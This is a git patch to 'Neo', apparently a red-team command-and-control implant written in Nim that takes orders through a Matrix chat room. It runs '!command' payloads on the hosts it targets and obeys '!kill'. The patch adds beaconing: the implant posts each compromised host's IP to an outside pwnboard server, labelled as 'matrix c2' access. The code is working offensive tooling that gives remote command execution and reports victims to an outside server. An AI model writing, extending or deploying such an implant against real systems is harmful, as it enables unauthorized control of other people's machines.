From d9afa45065b05198e7d58ac671f7abf9c75566da Mon Sep 17 00:00:00 2001 From: connorgadbois Date: Mon, 6 Apr 2026 11:09:04 -0500 Subject: [PATCH] Added pwnboard reporting --- README.md | 3 +++ src/main.nim | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/README.md b/README.md index f5bd939..efffdaf 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,9 @@ const password: string = "password123" server: string = "matrix.org" roomId: string = "!bsafgr3AAmy8gHdrcy:matrix.org" + usePwnboard: bool = true + pwnboardUrl: string = "https://pwnboard.win/pwn" + pwnboardToken: string = "pwnboard-token-here" ``` ## Building diff --git a/src/main.nim b/src/main.nim index 3c57710..c2c3fc6 100644 --- a/src/main.nim +++ b/src/main.nim @@ -12,12 +12,33 @@ const password: string = "" server: string = "" roomId: string = "" + usePwnboard: bool = true + pwnboardurl: string = "" + pwnboardToken: string = "" var token: string var nextBatch: string var ip: string = $getPrimaryIPAddr() var transactionId: int = parseInt(strip(ip, chars={'.'})) * 1000000 +proc reportPwnBoard(ip: string): void = + let client: HttpClient = newHttpClient() + client.headers = newHttpHeaders({ + "Content-Type": "application/json", + "Authorization": "Bearer " & pwnboardToken + }) + + let payload: JsonNode = %*{ + "ip": ip, + "application": "Neo", + "access_type": "matrix c2" + } + + try: + discard client.post(pwnboardUrl, $payload) + except: + discard + proc matchIp(ip, pattern: string): bool = let ipParts = ip.split('.') let patternParts = pattern.split('.') @@ -79,6 +100,9 @@ proc syncMessages(client: HttpClient): seq[string] = if event["content"].hasKey("msgtype"): if event["content"]["msgtype"].getStr() == "m.text" and event["sender"].getStr() != "@" & username & ":" & server: messages.add(event["content"]["body"].getStr()) + + if usePwnboard: + reportPwnBoard(ip) return messages @@ -136,6 +160,9 @@ proc main(): void = if splitMessage.len >= 1: # Ping if splitMessage[0] == "!ping": + if usePwnboard: + reportPwnBoard(ip) + if splitMessage.len >= 2: if matchIp(ip, splitMessage[1]): sendMessage(client, "Pong!") @@ -145,6 +172,9 @@ proc main(): void = # Command if splitMessage[0] == "!command" and splitMessage.len >= 3: if matchIp(ip, splitMessage[1]): + if usePwnboard: + reportPwnBoard(ip) + var commandOutput: string try: @@ -161,6 +191,9 @@ proc main(): void = # Kill if splitMessage[0] == "!kill" and splitMessage.len >= 2: if matchIp(ip, splitMessage[1]): + if usePwnboard: + reportPwnBoard(ip) + quit() except: